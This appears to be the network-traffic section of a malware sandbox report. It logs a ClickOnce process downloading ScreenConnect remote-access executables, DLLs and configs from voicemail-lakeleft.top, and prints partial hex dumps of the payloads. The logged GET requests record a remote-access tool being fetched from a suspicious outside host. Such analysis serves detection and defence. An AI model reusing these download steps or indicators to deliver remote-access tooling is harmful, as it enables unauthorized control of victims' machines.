2024-11-08 10:09:27 UTC	16384	IN	Data Raw: fe 72 09 8b 48 08 03 ce 3b f9 72 0a 42 83 c0 28 3b d3 72 e8 33 c0 5f 5e 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a fe 68 20 2e 41 00 68 80 36 40 00 64 a1 00 00 00 00 50 83 ec 08 53 56 57 a1 04 40 41 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 c7 45 fc 00 00 00 00 68 00 00 40 00 e8 7c 00 00 00 83 c4 04 85 c0 74 54 8b 45 08 2d 00 00 40 00 50 68 00 00 40 00 e8 52 ff ff ff 83 c4 08 85 c0 74 3a 8b 40 24 c1 e8 1f f7 d0 83 e0 01 c7 45 fc fe ff ff ff 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 8b 45 ec 8b 00 33 c9 81 38 05 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 c7 45 fc fe ff ff ff 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc 55 8b ec 8b 45 08 b9 4d 5a 00 00 66 39 08 75 1d 8b 48 3c 03 c8 81 39 Data Ascii: rH;rB(;r3_^[]Ujh .Ah6@dPSVW@A1E3PEdeEh@\|tTE-@Ph@Rt:@$EMdY_^[]E38eE3MdY_^[]UEMZf9uH<9
2024-11-08 10:09:27 UTC	16384	IN	Data Raw: 64 00 65 00 2d 00 61 00 74 00 00 00 64 00 65 00 2d 00 63 00 68 00 00 00 64 00 65 00 2d 00 64 00 65 00 00 00 64 00 65 00 2d 00 6c 00 69 00 00 00 64 00 65 00 2d 00 6c 00 75 00 00 00 64 00 69 00 76 00 2d 00 6d 00 76 00 00 00 00 00 65 00 6c 00 2d 00 67 00 72 00 00 00 65 00 6e 00 2d 00 61 00 75 00 00 00 65 00 6e 00 2d 00 62 00 7a 00 00 00 65 00 6e 00 2d 00 63 00 61 00 00 00 65 00 6e 00 2d 00 63 00 62 00 00 00 65 00 6e 00 2d 00 67 00 62 00 00 00 65 00 6e 00 2d 00 69 00 65 00 00 00 65 00 6e 00 2d 00 6a 00 6d 00 00 00 65 00 6e 00 2d 00 6e 00 7a 00 00 00 65 00 6e 00 2d 00 70 00 68 00 00 00 65 00 6e 00 2d 00 74 00 74 00 00 00 65 00 6e 00 2d 00 75 00 73 00 00 00 65 00 6e 00 2d 00 7a 00 61 00 00 00 65 00 6e 00 2d 00 7a 00 77 00 00 00 65 00 73 00 2d 00 61 00 72 00 00 Data Ascii: de-atde-chde-dede-lide-ludiv-mvel-gren-auen-bzen-caen-cben-gben-ieen-jmen-nzen-phen-tten-usen-zaen-zwes-ar
2024-11-08 10:09:27 UTC	13816	IN	Data Raw: 1f 33 30 33 9a 33 a1 33 b3 33 bc 33 04 34 16 34 1e 34 28 34 31 34 42 34 54 34 6f 34 af 34 c1 34 c7 34 db 34 2f 35 39 35 3f 35 45 35 b0 35 b9 35 f2 35 fd 35 f2 37 25 38 2a 38 50 39 68 39 95 39 b0 39 c0 39 c5 39 cf 39 d4 39 df 39 ea 39 fe 39 4f 3a f6 3a 17 3b 70 3b 7b 3b ca 3b e2 3b 2c 3c c2 3c d9 3c 57 3d 9b 3d ad 3d e3 3d e8 3d f5 3d 01 3e 17 3e 2a 3e 5d 3e 6c 3e 71 3e 82 3e 88 3e 93 3e 9b 3e a6 3e ac 3e b7 3e bd 3e cb 3e d4 3e d9 3e e6 3e eb 3e f8 3e 06 3f 0d 3f 15 3f 2e 3f 40 3f 4c 3f 54 3f 6c 3f 91 3f a2 3f ab 3f f2 3f 00 60 00 00 18 01 00 00 26 30 4d 30 67 30 be 30 cb 30 d6 30 e0 30 e6 30 fa 30 06 31 7f 31 88 31 b4 31 bd 31 c5 31 e2 31 07 32 19 32 35 32 59 32 74 32 7f 32 25 33 d8 33 e1 33 e9 33 04 35 0a 35 1c 35 2f 35 7f 35 b0 35 e0 35 2b 36 27 37 3b Data Ascii: 3033333444(414B4T4o44444/595?5E555557%88P9h9999999999O::;p;{;;;,<<<W======>>>]>l>q>>>>>>>>>>>>>>>???.?@?L?T?l?????`&0M0g000000011111112252Y2t22%3333555/5555+6'7;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49737	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:28 UTC	114	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:28 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 61216 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:28 GMT Connection: close
2024-11-08 10:09:28 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4c e0 0e b8 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 ba 00 00 00 0a 00 00 00 00 00 00 06 d8 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 33 5d 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL"0 @ 3]@
2024-11-08 10:09:28 UTC	16384	IN	Data Raw: 16 00 01 00 93 0e 06 00 de 10 22 0a 06 00 60 10 22 0a 06 00 42 26 7b 0e 06 00 e9 1d 68 0e 06 00 31 0f 46 00 06 00 f3 1a 9d 0e 06 00 53 1f a1 0e 06 00 79 27 a6 0e 06 00 84 18 22 0a 36 00 6d 08 aa 0e 16 00 9b 00 af 0e 16 00 b4 00 af 0e 16 00 29 03 af 0e 36 00 6d 08 b9 0e 16 00 37 01 af 0e 06 00 bf 1c be 0e 16 00 a8 1a c3 0e 36 00 6d 08 d0 0e 16 00 25 00 d5 0e 16 00 36 19 87 0e 36 00 6d 08 e7 0e 16 00 ff 07 ec 0e 16 00 36 08 f7 0e 06 00 0f 2f 01 0f 06 00 51 20 57 0e 06 00 c6 19 06 0f 06 00 d8 19 06 0f 06 00 70 19 0b 0f 16 00 a8 1a c3 0e 36 00 6d 08 10 0f 16 00 e7 00 15 0f 16 00 46 03 1e 0f 16 00 d4 05 29 0f 16 00 c1 06 34 0f 16 00 6b 07 34 0f 16 00 73 03 49 0f 16 00 83 01 54 0f 16 00 d5 03 5f 0f 36 00 6d 08 cb 0a 16 00 be 01 c2 0a 16 00 f9 03 c2 0a 16 00 19 Data Ascii: "`"B&{h1FSy'"6m)6m76m%66m6/Q Wp6mF)4k4sIT_6m
2024-11-08 10:09:29 UTC	16384	IN	Data Raw: 54 68 72 65 73 68 6f 6c 64 4c 61 62 65 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 61 64 64 5f 4d 6f 75 73 65 57 68 65 65 6c 00 50 6f 70 75 6c 61 74 65 50 61 6e 65 6c 00 65 6d 70 74 79 52 65 73 75 6c 74 73 50 61 6e 65 6c 00 72 65 73 75 6c 74 73 50 61 6e 65 6c 00 70 61 6e 65 6c 00 53 65 6c 65 63 74 41 6c 6c 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 42 61 63 6b 73 74 61 67 65 53 68 65 6c 6c 00 73 65 74 5f 41 75 74 6f 53 63 72 6f 6c 6c 00 41 73 73 65 72 74 4e 6f 6e 4e 75 6c 6c 00 67 65 74 5f 43 6f 6e 74 72 6f 6c 00 53 63 72 6f 6c 6c 61 62 6c 65 43 6f 6e 74 72 6f 6c 00 63 6f 6e 74 72 6f 6c 00 67 65 74 5f 4c 50 61 72 61 6d 00 67 65 74 5f 57 50 61 72 61 6d 00 50 72 6f 67 72 61 6d 00 67 65 74 5f 49 74 65 6d 00 Data Ascii: ThresholdLabelSystem.ComponentModeladd_MouseWheelPopulatePanelemptyResultsPanelresultsPanelpanelSelectAllScreenConnect.WindowsBackstageShellset_AutoScrollAssertNonNullget_ControlScrollableControlcontrolget_LParamget_WParamProgramget_Item
2024-11-08 10:09:29 UTC	12280	IN	Data Raw: 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 42 00 61 00 63 00 6b 00 73 00 74 00 61 00 67 00 65 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 3c 00 0e 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 53 00 63 00 72 00 65 00 65 00 6e 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 3e 00 0d 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 32 00 2e 00 31 00 30 00 2e 00 38 00 39 00 39 00 31 00 00 00 00 00 42 00 0d 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 32 00 2e 00 31 00 30 00 2e 00 38 00 39 00 39 00 31 Data Ascii: Connect.WindowsBackstageShell.exe<ProductNameScreenConnect>ProductVersion24.2.10.8991BAssembly Version24.2.10.8991

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49748	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:29 UTC	118	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:30 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:30 GMT Connection: close
2024-11-08 10:09:30 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49754	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:31 UTC	113	OUT	GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:31 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:31 GMT Connection: close
2024-11-08 10:09:31 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49760	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:32 UTC	121	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:32 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:32 GMT Connection: close
2024-11-08 10:09:32 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49771	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:33 UTC	111	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:34 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 81696 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:33 GMT Connection: close
2024-11-08 10:09:34 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 da a7 bb 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 40 00 00 00 d4 00 00 00 00 00 00 e6 5e 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 02 00 00 6a 8b 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0@^ `@ `j@
2024-11-08 10:09:34 UTC	16384	IN	Data Raw: 2d 34 35 32 62 2d 38 39 37 35 2d 37 34 61 38 35 38 32 38 64 33 35 34 00 00 13 01 00 02 00 00 00 04 54 65 78 74 05 53 74 61 74 65 00 00 08 01 00 0b 00 00 00 00 00 00 00 d2 59 fd a1 c3 db f8 b2 a8 38 41 41 b5 70 2f b9 70 e0 44 04 4a 6f 16 7f 54 f3 2d 91 6d bf ac 66 21 46 ef be d1 1e 85 dd 2b 75 b8 ff 7a 0d c8 39 d0 7b 2a 86 54 8d 79 d9 5d b2 8a 3c 12 a6 c1 3c 94 5c c5 c2 54 9b e5 b0 38 01 34 d6 47 4a 0b 62 7d 82 0a bc 8e 63 9f ae dc 13 7e 39 98 c7 b5 f2 fd 11 5b 4c 23 82 a4 fd 40 df 22 18 d8 3f 0b 56 59 b3 b5 88 4c 17 d4 e9 59 bc f3 d5 72 d6 78 1b 00 00 00 00 81 c5 e8 85 00 00 00 00 02 00 00 00 7b 00 00 00 18 5e 00 00 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 53 44 53 cb 4c a1 5b 4d 39 69 48 9a 46 34 Data Ascii: -452b-8975-74a85828d354TextStateY8AAp/pDJoT-mf!F+uz9{*Ty]<<\T84GJb}c~9[L#@"?VYLYrx{^@RSDSL[M9iHF4
2024-11-08 10:09:34 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 d2 ff ff 55 d1 fe ff 54 d0 fd ff 53 cf fb ff 52 cc f8 ff 51 c9 f4 ff 50 c6 f0 ff 4e c2 eb ff 4c bc e5 ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff 4c bc e5 ff 4e c2 eb ff 50 c6 f0 ff 51 c9 f4 ff 52 cc f8 ff 53 ce fa ff 54 d0 fd ff 55 d1 fe ff 55 d2 ff Data Ascii: UUTSRQPNL::::::::::::::::::::::::::::::::::::::LNPQRSTUU
2024-11-08 10:09:34 UTC	16384	IN	Data Raw: 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 00 00 00 Data Ascii: fffffffffffffffgggggggggggggggggggggggggggggggggggggggggg
2024-11-08 10:09:34 UTC	16376	IN	Data Raw: 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 6e cd f3 ff 85 e0 ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 9a e5 ff ef 00 00 00 00 00 00 00 00 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9f e0 ef 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49779	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:35 UTC	99	OUT	GET /Bin/ScreenConnect.Client.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:35 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 197120 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:35 GMT Connection: close
2024-11-08 10:09:35 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5a 3c cd b8 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 fa 02 00 00 06 00 00 00 00 00 00 82 18 03 00 00 20 00 00 00 20 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 03 00 00 02 00 00 9e 14 03 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZ<" 0 `@
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 f6 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 f8 02 00 06 16 fe 01 2a 26 0f 00 03 28 fb 02 00 06 2a 0a 16 2a 5e 03 75 77 00 00 02 2c 0d 02 03 a5 77 00 00 02 28 fb 02 00 06 2a 16 2a 0a 17 2a 00 13 30 02 00 40 00 00 00 0c 00 00 11 73 75 00 00 0a 0a 06 72 c3 0f 00 70 6f 76 00 00 0a 26 06 72 59 01 00 70 6f 76 00 00 0a 26 02 06 28 fd 02 00 06 2c 09 06 1f 20 6f 77 00 00 0a 26 06 1f 7d 6f 77 00 00 0a 26 06 6f 29 00 00 0a 2a 0a 16 2a 2e 02 03 28 ff 02 00 06 16 fe 01 2a 26 0f 00 03 28 02 03 00 06 2a 0a 16 2a 5e 03 75 78 00 00 02 2c 0d 02 03 a5 78 00 00 02 28 02 03 00 06 2a 16 2a 0a 17 2a 00 13 30 02 00 40 00 00 00 0c 00 00 11 73 75 00 00 0a 0a Data Ascii: &rYpov&(, ow&}ow&o)*.(&(^uw,w(0@surpov&rYpov&(, ow&}ow&o).(&(^ux,x(*0@su
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 04 02 7e 2c 02 00 0a 7d 06 01 00 04 02 15 7d 07 01 00 04 02 28 ef 00 00 0a 6f 2f 02 00 0a 7d 04 01 00 04 02 7b 04 01 00 04 03 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 6f 32 02 00 0a 02 7b 04 01 00 04 05 0e 04 6f 33 02 00 0a 02 7b 04 01 00 04 16 16 06 7b 6b 01 00 04 6f 30 02 00 0a 06 7b 6b 01 00 04 6f 31 02 00 0a 73 95 01 00 0a 06 fe 06 b5 04 00 06 73 34 02 00 0a 28 35 02 00 0a de 10 26 02 28 14 04 00 06 fe 1a 07 28 bd 00 00 0a dc 2a 00 00 00 01 1c 00 00 00 00 66 00 76 dc 00 09 16 00 00 01 02 00 1a 00 cb e5 00 07 00 00 00 00 1b 30 03 00 42 00 00 00 25 00 00 11 02 7b 03 01 00 04 0a 06 28 b8 00 00 0a 02 28 15 04 00 06 72 cb 17 00 70 18 28 36 02 00 0a 26 02 17 28 1e 04 00 06 de 19 02 7b 04 01 00 04 6f 37 02 00 0a 02 28 14 04 00 06 dc Data Ascii: ~,}}(o/}{{ko0{ko1o2{o3{{ko0{ko1ss4(5&((*fv0B%{((rp(6&({o7(
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 01 47 1f 16 00 f6 03 58 1f 16 00 30 07 69 1f 16 00 ab 08 47 1f 16 00 30 04 71 1f 16 00 4d 07 7b 1f 16 00 01 00 85 1f 16 00 3b 03 85 1f 06 00 ce 72 8e 1f 06 00 69 5c 9d 1d 06 00 ce 72 8e 1f 06 00 a5 75 8e 1d 01 00 e3 74 93 1f 01 00 e5 59 a9 10 01 00 50 37 99 1f 36 00 56 0a 9e 1f 16 00 8a 02 a3 1f 36 00 56 0a af 1f 16 00 a0 00 a3 1f 36 00 56 0a e6 11 16 00 70 00 dc 11 16 00 94 03 52 12 06 00 12 81 64 07 06 00 06 63 b4 11 06 00 7b 6d 0f 11 06 00 ce 72 b9 11 06 00 71 32 c6 11 06 00 9c 79 cb 11 06 00 90 83 a6 10 06 00 a9 62 2c 13 06 00 ce 72 b9 11 06 00 19 0d 58 04 06 00 26 77 b4 1f 06 00 ce 72 b9 1f 06 00 ac 65 7a 1e 06 00 7d 5d cb 11 36 00 56 0a be 1f 16 00 6c 01 c3 1f 06 00 ce 72 d5 1f 06 00 12 81 2a 1f 06 00 1a 63 da 1f 06 00 e4 7d 74 1d 06 00 79 59 ec 1f Data Ascii: 